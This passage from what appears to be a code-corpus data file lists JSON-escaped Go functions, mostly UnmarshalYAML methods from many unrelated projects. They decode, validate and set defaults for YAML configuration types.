fmt.Errorf(\"error converting YAML to JSON: %v\", err)\n\t}\n\n\terr = jsonUnmarshal(bytes.NewReader(j), o, opts...)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"error unmarshaling JSON: %v\", err)\n\t}\n\n\treturn nil\n}","func (a anchors) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\treturn nil\n}","func UnmarshalYAML(config *YAMLConfiguration, path string) {\n\tdata, err := ioutil.ReadFile(path)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\terr = yaml.Unmarshal(data, config)\n\tif err != nil {\n\t\tfmt.Println(err)\n\t\tos.Exit(1)\n\t}\n}","func (conf *Config) UnmarshalYAML(value *yaml.Node) error {\n\ttype confAlias Config\n\taliased := confAlias(NewConfig())\n\n\terr := value.Decode(&aliased)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"line %v: %v\", value.Line, err)\n\t}\n\n\tif aliased.Type, _, err = docs.GetInferenceCandidateFromYAML(nil, docs.TypeTracer, aliased.Type, value); err != nil {\n\t\treturn fmt.Errorf(\"line %v: %w\", value.Line, err)\n\t}\n\n\t*conf = Config(aliased)\n\treturn nil\n}","func UnmarshalYAML(yml []byte) (map[string]ZNode, error) {\n\tvar root map[string]ZNode\n\tvar err = yaml.Unmarshal(yml, &root)\n\treturn root, err\n}","func (i *Transform) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\tif err := unmarshal(&s); err != nil {\n\t\treturn err\n\t}\n\n\tvar err error\n\t*i, err = ParseTransformString(s)\n\treturn err\n}","func (this *Write) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\t// new temp as map[string]interface{}.\n\ttemp := make(map[string]interface{})\n\n\t// unmarshal temp as yaml.\n\tif err := unmarshal(temp); err != nil {\n\t\treturn err\n\t}\n\n\treturn this.unmarshal(temp)\n}","func (o *Op) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar typeDecoder map[string]rawMessage\n\terr := unmarshal(&typeDecoder)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn o.unmarshalDecodedType(typeDecoder)\n}","func (s *Secret) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\ttype plain Secret\n\treturn unmarshal((*plain)(s))\n}","func (s *Secret) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\ttype plain Secret\n\treturn unmarshal((*plain)(s))\n}","func (msg *RawMessage) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tmsg.unmarshal = unmarshal\n\treturn nil\n}","func (s *ArtifactoryParams) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\ttype plain ArtifactoryParams\n\tif err := unmarshal((*plain)(s)); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}","func (options *Options) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\ttype defaults Options\n\tdefaultValues := defaults(*NewOptions())\n\n\tif err := unmarshal(&defaultValues); err != nil {\n\t\treturn err\n\t}\n\n\t*options = Options(defaultValues)\n\n\tif options.SingleLineDisplay {\n\t\toptions.ShowSummaryFooter = false\n\t\toptions.CollapseOnCompletion = false\n\t}\n\n\t// the global options must be available when parsing the task yaml (todo: does order matter?)\n\tglobalOptions = options\n\treturn nil\n}","func (l *LogLevel) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar tp string\n\tunmarshal(&tp)\n\tlevel, exist := LogLevelMapping[tp]\n\tif !exist {\n\t\treturn errors.New(\"invalid mode\")\n\t}\n\t*l = level\n\treturn nil\n}","func (s *Store) UnmarshalYAML(unmarshal func(interface{}) error) (err error) {\n\ttype storeYAML map[string]map[string]entryYAML\n\n\tsy := make(storeYAML, 0)\n\n\terr = unmarshal(&sy)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t*s = NewStore()\n\tfor groupID, group := range sy {\n\t\tfor entryID, entry := range group {\n\t\t\tentry.e.setGroup(groupID)\n\t\t\tif err = s.add(entryID, entry.e); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t}\n\n\treturn nil\n}","func (r *OAuthFlow) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tobj := make(map[string]interface{})\n\tif err := unmarshal(&obj); err != nil {\n\t\treturn errors.WithStack(err)\n\t}\n\n\tif value, ok := obj[\"authorizationUrl\"]; ok {\n\t\tif value, ok := value.(string); ok {\n\t\t\tr.AuthorizationURL = value\n\t\t}\n\t}\n\n\tif value, ok := obj[\"tokenUrl\"]; ok {\n\t\tif value, ok := value.(string); ok {\n\t\t\tr.TokenURL = value\n\t\t}\n\t}\n\n\tif value, ok := obj[\"refreshUrl\"]; ok {\n\t\tif value, ok := value.(string); ok {\n\t\t\tr.RefreshURL = value\n\t\t}\n\t}\n\n\tif value, ok := obj[\"scopes\"]; ok {\n\t\trbytes, err := yaml.Marshal(value)\n\t\tif err != nil {\n\t\t\treturn errors.WithStack(err)\n\t\t}\n\t\tvalue := map[string]string{}\n\t\tif err := yaml.Unmarshal(rbytes, &value); err != nil {\n\t\t\treturn errors.WithStack(err)\n\t\t}\n\t\tr.Scopes = value\n\t}\n\n\texts := Extensions{}\n\tif err := unmarshal(&exts); err != nil {\n\t\treturn errors.WithStack(err)\n\t}\n\n\tif len(exts) > 0 {\n\t\tr.Extensions = exts\n\t}\n\n\treturn nil\n}","func (m *Manifest) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar tmp map[string]interface{}\n\tif err := unmarshal(&tmp); err != nil {\n\t\treturn err\n\t}\n\n\tdata, err := json.Marshal(tmp)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn json.Unmarshal(data, m)\n}","func (op *OpRetain) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\treturn unmarshal(&op.Fields)\n}","func (l *TestLimits) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tif defaultTestLimits != nil {\n\t\t*l = *defaultTestLimits\n\t}\n\ttype plain TestLimits\n\treturn unmarshal((*plain)(l))\n}","func (s *MaporEqualSlice) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tparts, err := unmarshalToStringOrSepMapParts(unmarshal, \"=\")\n\tif err != nil {\n\t\treturn err\n\t}\n\t*s = parts\n\treturn nil\n}","func (s *Step) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\t// unmarshal into stepUnmarshaller instead of Step for dynamic unmarshalling Request/Expect\n\tvar unmarshaled stepUnmarshaller\n\tif err := unmarshal(&unmarshaled); err != nil {\n\t\treturn err\n\t}\n\n\ts.Title = unmarshaled.Title\n\ts.Description = unmarshaled.Description\n\ts.Vars = unmarshaled.Vars\n\ts.Protocol = unmarshaled.Protocol\n\ts.Include = unmarshaled.Include\n\ts.Ref = unmarshaled.Ref\n\ts.Bind = unmarshaled.Bind\n\ts.Timeout = unmarshaled.Timeout\n\ts.PostTimeoutWaitingLimit = unmarshaled.PostTimeoutWaitingLimit\n\ts.Retry = unmarshaled.Retry\n\n\tp := protocol.Get(s.Protocol)\n\tif p == nil {\n\t\tif unmarshaled.Request != nil || unmarshaled.Expect != nil {\n\t\t\treturn errors.Errorf(\"unknown protocol: %s\", s.Protocol)\n\t\t}\n\t\treturn nil\n\t}\n\tif unmarshaled.Request != nil {\n\t\tinvoker, err := p.UnmarshalRequest(unmarshaled.Request)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\ts.Request = invoker\n\t}\n\tbuilder, err := p.UnmarshalExpect(unmarshaled.Expect)\n\tif err != nil {\n\t\treturn err\n\t}\n\ts.Expect = builder\n\n\treturn nil\n}","func (y *PipelineYml) Unmarshal() error {\n\n\terr := yaml.Unmarshal(y.byteData, &y.obj)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif y.obj == nil {\n\t\treturn errors.New(\"PipelineYml.obj is nil pointer\")\n\t}\n\n\t//err = y.Evaluate(applyEnvsWithPriority(y.metadata.publicTemplateVars, y.metadata.secretTemplateVars))\n\t//if err != nil {\n\t//\treturn err\n\t//}\n\n\t// re unmarshal to obj, because byteData updated by evaluate\n\terr = yaml.Unmarshal(y.byteData, &y.obj)\n\treturn err\n}","func (c *Config) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\n\ttype plain Config\n\treturn unmarshal((*plain)(c))\n}","func yamlDecode(ctx *pulumi.Context, text string, opts ...pulumi.InvokeOption) ([]map[string]interface{}, error) {\n\targs := struct {\n\t\tText string `pulumi:\"text\"`\n\t}{Text: text}\n\tvar ret struct {\n\t\tResult []map[string]interface{} `pulumi:\"result\"`\n\t}\n\n\tif err := ctx.Invoke(\"kubernetes:yaml:decode\", &args, &ret, opts...); err != nil {\n\t\treturn nil, err\n\t}\n\treturn ret.Result, nil\n}","func (s *IPMIConfig) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\t*s = defaultConfig\n\ttype plain IPMIConfig\n\tif err := unmarshal((*plain)(s)); err != nil {\n\t\treturn err\n\t}\n\tif err := checkOverflow(s.XXX, \"modules\"); err != nil {\n\t\treturn err\n\t}\n\tfor _, c := range s.Collectors {\n\t\tif err := c.IsValid(); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}","func (k *Ktype) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar ktyp string\n\terr := unmarshal(&ktyp)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*k = KeventNameToKtype(ktyp)\n\treturn nil\n}","func (loglevel *Loglevel) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar loglevelString string\n\terr := unmarshal(&loglevelString)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tloglevelString = strings.ToLower(loglevelString)\n\tswitch loglevelString {\n\tcase \"error\", \"warn\", \"info\", \"debug\":\n\tdefault:\n\t\treturn fmt.Errorf(\"Invalid loglevel %s Must be one of [error, warn, info, debug]\", loglevelString)\n\t}\n\n\t*loglevel = Loglevel(loglevelString)\n\treturn nil\n}","func (cd *ContainerDef) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\ttype rawContainerDef ContainerDef\n\traw := rawContainerDef{Essential: true} // If essential is not specified, we want it to be true\n\tif err := unmarshal(&raw); err != nil {\n\t\treturn err\n\t}\n\n\t*cd = ContainerDef(raw)\n\treturn nil\n}","func (a *Alias) UnmarshalYAML(value *yaml.Node) error {\n\tif err := value.Decode(&a.AdvancedAliases); err != nil {\n\t\tswitch err.(type) {\n\t\tcase *yaml.TypeError:\n\t\t\tbreak\n\t\tdefault:\n\t\t\treturn err\n\t\t}\n\t}\n\n\tif len(a.AdvancedAliases) != 0 {\n\t\t// Unmarshaled successfully to s.StringSlice, unset s.String, and return.\n\t\ta.StringSliceOrString = StringSliceOrString{}\n\t\treturn nil\n\t}\n\tif err := a.StringSliceOrString.UnmarshalYAML(value); err != nil {\n\t\treturn errUnmarshalAlias\n\t}\n\treturn nil\n}","func (conf *Config) UnmarshalYAML(value *yaml.Node) error {\n\ttype confAlias Config\n\taliased := confAlias(NewConfig())\n\n\terr := value.Decode(&aliased)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"line %v: %v\", value.Line, err)\n\t}\n\n\tvar spec docs.ComponentSpec\n\tif aliased.Type, spec, err = docs.GetInferenceCandidateFromYAML(docs.DeprecatedProvider, docs.TypeOutput, value); err != nil {\n\t\treturn fmt.Errorf(\"line %v: %w\", value.Line, err)\n\t}\n\n\tif spec.Plugin {\n\t\tpluginNode, err := docs.GetPluginConfigYAML(aliased.Type, value)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"line %v: %v\", value.Line, err)\n\t\t}\n\t\taliased.Plugin = &pluginNode\n\t} else {\n\t\taliased.Plugin = nil\n\t}\n\n\t*conf = Config(aliased)\n\treturn nil\n}","func (e *ExternalJavaPackagePrefixConfigV1) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\treturn e.unmarshalWith(unmarshal)\n}","func (r *Connection) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\ttype tmp Connection\n\tvar s struct {\n\t\ttmp `yaml:\",inline\"`\n\t}\n\n\terr := unmarshal(&s)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"unable to parse YAML: %s\", err)\n\t}\n\n\t*r = Connection(s.tmp)\n\n\tif err := utils.ValidateTags(r); err != nil {\n\t\treturn err\n\t}\n\n\t// If options weren't specified, create an empty map.\n\tif r.Options == nil {\n\t\tr.Options = make(map[string]interface{})\n\t}\n\n\treturn nil\n}","func (f *Flag) UnmarshalYAML(node *yaml.Node) error {\n\ttag := GetTag(node.Value)\n\tf.Name = tag.Name\n\tf.Negates = tag.Negates\n\tlog.Tracef(\"Unmarshal %s into %s\\n\", node.Value, tag)\n\treturn nil\n}","func (gc *GroupConfiguration) UnmarshalYAML(value *yaml.Node) error {\n\tif value.Kind != yaml.MappingNode {\n\t\treturn errors.New(\"expected mapping\")\n\t}\n\n\tgc.versions = make(map[string]*VersionConfiguration)\n\tvar lastId string\n\n\tfor i, c := range value.Content {\n\t\t// Grab identifiers and loop to handle the associated value\n\t\tif i%2 == 0 {\n\t\t\tlastId = c.Value\n\t\t\tcontinue\n\t\t}\n\n\t\t// Handle nested version metadata\n\t\tif c.Kind == yaml.MappingNode {\n\t\t\tv := NewVersionConfiguration(lastId)\n\t\t\terr := c.Decode(&v)\n\t\t\tif err != nil {\n\t\t\t\treturn errors.Wrapf(err, \"decoding yaml for %q\", lastId)\n\t\t\t}\n\n\t\t\tgc.addVersion(lastId, v)\n\t\t\tcontinue\n\t\t}\n\n\t\t// $payloadType: \n\t\tif strings.EqualFold(lastId, payloadTypeTag) && c.Kind == yaml.ScalarNode {\n\t\t\tswitch strings.ToLower(c.Value) {\n\t\t\tcase string(OmitEmptyProperties):\n\t\t\t\tgc.PayloadType.Set(OmitEmptyProperties)\n\t\t\tcase string(ExplicitCollections):\n\t\t\t\tgc.PayloadType.Set(ExplicitCollections)\n\t\t\tcase string(ExplicitProperties):\n\t\t\t\tgc.PayloadType.Set(ExplicitProperties)\n\t\t\tdefault:\n\t\t\t\treturn errors.Errorf(\"unknown %s value: %s.\", payloadTypeTag, c.Value)\n\t\t\t}\n\n\t\t\tcontinue\n\t\t}\n\n\t\t// No handler for this value, return an error\n\t\treturn errors.Errorf(\n\t\t\t\"group configuration, unexpected yaml value %s: %s (line %d col %d)\", lastId, c.Value, c.Line, c.Column)\n\t}\n\n\treturn nil\n}","func (c *Config) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\t*c = DefaultConfig\n\tc.LogsLabels = make(map[string]string)\n\ttype plain Config\n\treturn unmarshal((*plain)(c))\n}","func (w *CommandWrapper) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar err error\n\tvar str string\n\tif err = unmarshal(&str); err == nil {\n\t\tw.Command = str\n\t\treturn nil\n\t}\n\n\tvar commandArray []string\n\tif err = unmarshal(&commandArray); err == nil {\n\t\tw.Commands = commandArray\n\t\treturn nil\n\t}\n\treturn nil //TODO: should be an error , something like UNhhandledError\n}","func (s *MaporSpaceSlice) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tparts, err := unmarshalToStringOrSepMapParts(unmarshal, \" \")\n\tif err != nil {\n\t\treturn err\n\t}\n\t*s = parts\n\treturn nil\n}","func (c *MailConfig) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\ttype plain MailConfig\n\tif err := unmarshal((*plain)(c)); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}","func (r *rawMessage) UnmarshalYAML(b []byte) error {\n\t*r = b\n\treturn nil\n}","func (r *ScalingConfigOrT[_]) UnmarshalYAML(value *yaml.Node) error {\n\tif err := value.Decode(&r.ScalingConfig); err != nil {\n\t\tswitch err.(type) {\n\t\tcase *yaml.TypeError:\n\t\t\tbreak\n\t\tdefault:\n\t\t\treturn err\n\t\t}\n\t}\n\n\tif !r.ScalingConfig.IsEmpty() {\n\t\t// Successfully unmarshalled ScalingConfig fields, return\n\t\treturn nil\n\t}\n\n\tif err := value.Decode(&r.Value); err != nil {\n\t\treturn errors.New(`unable to unmarshal into int or composite-style map`)\n\t}\n\treturn nil\n}","func (op *OpAdd) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar addRaw opAddRaw\n\terr := unmarshal(&addRaw)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"decode OpAdd: %s\", err)\n\t}\n\n\treturn op.unmarshalFromOpAddRaw(addRaw)\n}","func (s *MaporColonSlice) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tparts, err := unmarshalToStringOrSepMapParts(unmarshal, \":\")\n\tif err != nil {\n\t\treturn err\n\t}\n\t*s = parts\n\treturn nil\n}","func (b *extraKV) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\treturn unmarshal(&b.Kv)\n}","func (c *SlackConfig) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\t*c = DefaultSlackConfig\n\ttype plain SlackConfig\n\tif err := unmarshal((*plain)(c)); err != nil {\n\t\treturn err\n\t}\n\treturn checkOverflow(c.XXX, \"slack config\")\n}","func (v *LabelSet) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tlbSet := model.LabelSet{}\n\terr := unmarshal(&lbSet)\n\tif err != nil {\n\t\treturn err\n\t}\n\tv.LabelSet = lbSet\n\treturn nil\n}","func (b *brokerOutputList) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tgenericOutputs := []interface{}{}\n\tif err := unmarshal(&genericOutputs); err != nil {\n\t\treturn err\n\t}\n\n\toutputConfs, err := parseOutputConfsWithDefaults(genericOutputs)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t*b = outputConfs\n\treturn nil\n}","func parseYaml(yaml string) (*UnstructuredManifest, error) {\n\trawYamlParsed := &map[string]interface{}{}\n\terr := yamlParser.Unmarshal([]byte(yaml), rawYamlParsed)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\trawJSON, err := json.Marshal(dyno.ConvertMapI2MapS(*rawYamlParsed))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tunstruct := meta_v1_unstruct.Unstructured{}\n\terr = unstruct.UnmarshalJSON(rawJSON)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tmanifest := &UnstructuredManifest{\n\t\tunstruct: &unstruct,\n\t}\n\n\tlog.Printf(\"[DEBUG] %s Unstructed YAML: %+v\\n\", manifest, manifest.unstruct.UnstructuredContent())\n\treturn manifest, nil\n}","func (p *Package) UnmarshalYAML(value *yaml.Node) error {\n\tpkg := &Package{}\n\tpkg.Present = true // present gets set to true because they wouldn't mention it otherwise\n\tvar err error // for use in the switch below\n\n\tlog.Trace().Interface(\"Node\", value).Msg(\"Pkg UnmarshalYAML\")\n\tif value.Tag != \"!!map\" {\n\t\treturn fmt.Errorf(\"unable to unmarshal yaml: value not map (%s)\", value.Tag)\n\t}\n\n\tfor i, node := range value.Content {\n\t\tlog.Trace().Interface(\"node1\", node).Msg(\"\")\n\t\tswitch node.Value {\n\t\tcase \"name\":\n\t\t\tpkg.Name = value.Content[i+1].Value\n\t\t\tif pkg.Name == \"\" {\n\t\t\t\treturn nil\n\t\t\t}\n\t\tcase \"version\":\n\t\t\tpkg.Version = value.Content[i+1].Value\n\t\tcase \"present\":\n\t\t\tpkg.Present, err = strconv.ParseBool(value.Content[i+1].Value)\n\t\t\tif err != nil {\n\t\t\t\tlog.Error().Err(err).Msg(\"can't parse installed field\")\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t}\n\n\tlog.Trace().Interface(\"pkg\", pkg).Msg(\"what's in the box?!?!\")\n\t*p = *pkg\n\n\treturn nil\n}","func (rl *RunList) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar runSlice []*Run\n\tsliceCandidate := marshal.UnmarshalCandidate{\n\t\tUnmarshal: func() error { return unmarshal(&runSlice) },\n\t\tAssign: func() { *rl = runSlice },\n\t}\n\n\tvar runItem *Run\n\titemCandidate := marshal.UnmarshalCandidate{\n\t\tUnmarshal: func() error { return unmarshal(&runItem) },\n\t\tAssign: func() { *rl = RunList{runItem} },\n\t}\n\n\treturn marshal.UnmarshalOneOf(sliceCandidate, itemCandidate)\n}","func (op *OpRemove) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\treturn unmarshal(&op.Field)\n}","func (key *PrivateKey) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar str string\n\terr := unmarshal(&str)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*key, err = NewPrivateKey(str)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}","func (i *UserGroupAccess) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\tif err := unmarshal(&s); err != nil {\n\t\treturn err\n\t}\n\n\tvar err error\n\t*i, err = UserGroupAccessString(s)\n\treturn err\n}","func (r *Run) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar cl CommandList\n\tcommandCandidate := marshal.UnmarshalCandidate{\n\t\tUnmarshal: func() error { return unmarshal(&cl) },\n\t\tAssign: func() { *r = Run{Command: cl} },\n\t}\n\n\ttype runType Run // Use new type to avoid recursion\n\tvar runItem runType\n\trunCandidate := marshal.UnmarshalCandidate{\n\t\tUnmarshal: func() error { return unmarshal(&runItem) },\n\t\tAssign: func() { *r = Run(runItem) },\n\t\tValidate: func() error {\n\t\t\tactionUsedList := []bool{\n\t\t\t\tlen(runItem.Command) != 0,\n\t\t\t\tlen(runItem.SubTaskList) != 0,\n\t\t\t\trunItem.SetEnvironment != nil,\n\t\t\t}\n\n\t\t\tcount := 0\n\t\t\tfor _, isUsed := range actionUsedList {\n\t\t\t\tif isUsed {\n\t\t\t\t\tcount++\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif count > 1 {\n\t\t\t\treturn errors.New(\"only one action can be defined in `run`\")\n\t\t\t}\n\n\t\t\treturn nil\n\t\t},\n\t}\n\n\treturn marshal.UnmarshalOneOf(commandCandidate, runCandidate)\n}","func (b *ByteCount) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar strVal string\n\terr := unmarshal(&strVal)\n\tif err != nil {\n\t\treturn err\n\t}\n\tparsed, err := Parse(strVal)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*b = parsed\n\treturn nil\n}","func (b *Bool) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar candidate bool\n\tif err := unmarshal(&candidate); err != nil {\n\t\treturn err\n\t}\n\n\tb.set(candidate)\n\treturn nil\n}","func (at *SecurityCheck) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar res map[string]interface{}\n\tif err := unmarshal(&res); err != nil {\n\t\treturn err\n\t}\n\terr := mapstructure.Decode(res, &at)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif at.TestType == common.NonApplicableTest || at.TestType == common.ManualTest {\n\t\tat.NonApplicable = true\n\t}\n\treturn nil\n}","func (conf *Config) UnmarshalYAML(value *yaml.Node) error {\n\ttype confAlias Config\n\taliased := confAlias(NewConfig())\n\n\terr := value.Decode(&aliased)\n\tif err != nil {\n\t\treturn docs.NewLintError(value.Line, docs.LintFailedRead, err.Error())\n\t}\n\n\tvar spec docs.ComponentSpec\n\tif aliased.Type, spec, err = docs.GetInferenceCandidateFromYAML(docs.DeprecatedProvider, docs.TypeOutput, value); err != nil {\n\t\treturn docs.NewLintError(value.Line, docs.LintComponentMissing, err.Error())\n\t}\n\n\tif spec.Plugin {\n\t\tpluginNode, err := docs.GetPluginConfigYAML(aliased.Type, value)\n\t\tif err != nil {\n\t\t\treturn docs.NewLintError(value.Line, docs.LintFailedRead, err.Error())\n\t\t}\n\t\taliased.Plugin = &pluginNode\n\t} else {\n\t\taliased.Plugin = nil\n\t}\n\n\t*conf = Config(aliased)\n\treturn nil\n}","func (c *Config) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\ttype raw Config\n\tvar cfg raw\n\tif c.URL.URL != nil {\n\t\t// we used flags to set that value, which already has sane default.\n\t\tcfg = raw(*c)\n\t} else {\n\t\t// force sane defaults.\n\t\tcfg = raw{\n\t\t\tBackoffConfig: util.BackoffConfig{\n\t\t\t\tMaxBackoff: 5 * time.Second,\n\t\t\t\tMaxRetries: 5,\n\t\t\t\tMinBackoff: 100 * time.Millisecond,\n\t\t\t},\n\t\t\tBatchSize: 100 * 1024,\n\t\t\tBatchWait: 1 * time.Second,\n\t\t\tTimeout: 10 * time.Second,\n\t\t}\n\t}\n\n\tif err := unmarshal(&cfg); err != nil {\n\t\treturn err\n\t}\n\n\t*c = Config(cfg)\n\treturn nil\n}","func (moves *Moves) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar mvList []string\n\tif err := unmarshal(&mvList); err != nil {\n\t\treturn err\n\t}\n\n\tparsed, err := ParseMoves(mvList)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t*moves = parsed\n\treturn nil\n}","func UnmarshalInlineYaml(obj map[string]interface{}, targetPath string) (err error) {\n\tnodeList := strings.Split(targetPath, \".\")\n\tif len(nodeList) == 0 {\n\t\treturn fmt.Errorf(\"targetPath '%v' length is zero after split\", targetPath)\n\t}\n\n\tcur := obj\n\tfor _, nname := range nodeList {\n\t\tndata, ok := cur[nname]\n\t\tif !ok || ndata == nil { // target path does not exist\n\t\t\treturn fmt.Errorf(\"targetPath '%v' doest not exist in obj: '%v' is missing\",\n\t\t\t\ttargetPath, nname)\n\t\t}\n\t\tswitch nnode := ndata.(type) {\n\t\tcase map[string]interface{}:\n\t\t\tcur = nnode\n\t\tdefault: // target path type does not match\n\t\t\treturn fmt.Errorf(\"targetPath '%v' doest not exist in obj: \"+\n\t\t\t\t\"'%v' type is not map[string]interface{}\", targetPath, nname)\n\t\t}\n\t}\n\n\tfor dk, dv := range cur {\n\t\tswitch vnode := dv.(type) {\n\t\tcase string:\n\t\t\tvo := make(map[string]interface{})\n\t\t\tif err := yaml.Unmarshal([]byte(vnode), &vo); err != nil {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\t// Replace the original text yaml tree node with yaml objects\n\t\t\tcur[dk] = vo\n\t\t}\n\t}\n\treturn\n}","func (r *Discriminator) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tobj := make(map[string]interface{})\n\tif err := unmarshal(&obj); err != nil {\n\t\treturn errors.WithStack(err)\n\t}\n\n\tif value, ok := obj[\"propertyName\"]; ok {\n\t\tif value, ok := value.(string); ok {\n\t\t\tr.PropertyName = value\n\t\t}\n\t}\n\n\tif value, ok := obj[\"mapping\"]; ok {\n\t\tif value, ok := cleanupMapValue(value).(map[string]interface{}); ok {\n\t\t\ts := make(map[string]string, len(value))\n\t\t\tfor k, v := range value {\n\t\t\t\ts[k] = fmt.Sprint(v)\n\t\t\t}\n\t\t\tr.Mapping = s\n\t\t}\n\t}\n\n\treturn nil\n}","func (m *Mount) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\ttype Alias Mount\n\taux := &struct {\n\t\tPropagation string `yaml:\"propagation\"`\n\t\t*Alias\n\t}{\n\t\tAlias: (*Alias)(m),\n\t}\n\tif err := unmarshal(&aux); err != nil {\n\t\treturn err\n\t}\n\t// if unset, will fallback to the default (0)\n\tif aux.Propagation != \"\" {\n\t\tval, ok := MountPropagationNameToValue[aux.Propagation]\n\t\tif !ok {\n\t\t\treturn fmt.Errorf(\"unknown propagation value: %s\", aux.Propagation)\n\t\t}\n\t\tm.Propagation = MountPropagation(val)\n\t}\n\treturn nil\n}","func (tf *Taskfile) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tif err := unmarshal(&tf.Tasks); err == nil {\n\t\ttf.Version = \"1\"\n\t\treturn nil\n\t}\n\n\tvar taskfile struct {\n\t\tVersion string\n\t\tExpansions int\n\t\tOutput string\n\t\tIncludes yaml.MapSlice\n\t\tVars Vars\n\t\tEnv Vars\n\t\tTasks Tasks\n\t}\n\tif err := unmarshal(&taskfile); err != nil {\n\t\treturn err\n\t}\n\ttf.Version = taskfile.Version\n\ttf.Expansions = taskfile.Expansions\n\ttf.Output = taskfile.Output\n\tincludes, defaultInclude, err := IncludesFromYaml(taskfile.Includes)\n\tif err != nil {\n\t\treturn err\n\t}\n\ttf.Includes = includes\n\ttf.IncludeDefaults = defaultInclude\n\ttf.Vars = taskfile.Vars\n\ttf.Env = taskfile.Env\n\ttf.Tasks = taskfile.Tasks\n\tif tf.Expansions <= 0 {\n\t\ttf.Expansions = 2\n\t}\n\treturn nil\n}","func (c *Config) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\t*c = DefaultConfig\n\n\ttype plain Config\n\treturn unmarshal((*plain)(c))\n}","func (c *Config) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\t*c = DefaultConfig\n\n\ttype plain Config\n\treturn unmarshal((*plain)(c))\n}","func (re *Regexp) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\tif err := unmarshal(&s); err != nil {\n\t\treturn err\n\t}\n\tr, err := NewRegexp(s)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*re = r\n\treturn nil\n}","func (re *Regexp) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\tif err := unmarshal(&s); err != nil {\n\t\treturn err\n\t}\n\tr, err := NewRegexp(s)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*re = r\n\treturn nil\n}","func (d *Document) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tif err := unmarshal(&d.raw); err != nil {\n\t\treturn err\n\t}\n\n\tif err := d.init(); err != nil {\n\t\treturn fmt.Errorf(\"verifying YAML data: %s\", err)\n\t}\n\n\treturn nil\n}","func unmarsharlYaml(byteArray []byte) Config {\n\tvar cfg Config\n\terr := yaml.Unmarshal([]byte(byteArray), &cfg)\n\tif err != nil {\n\t\tlog.Fatalf(\"error: %v\", err)\n\t}\n\treturn cfg\n}","func (m *OrderedMap[K, V]) 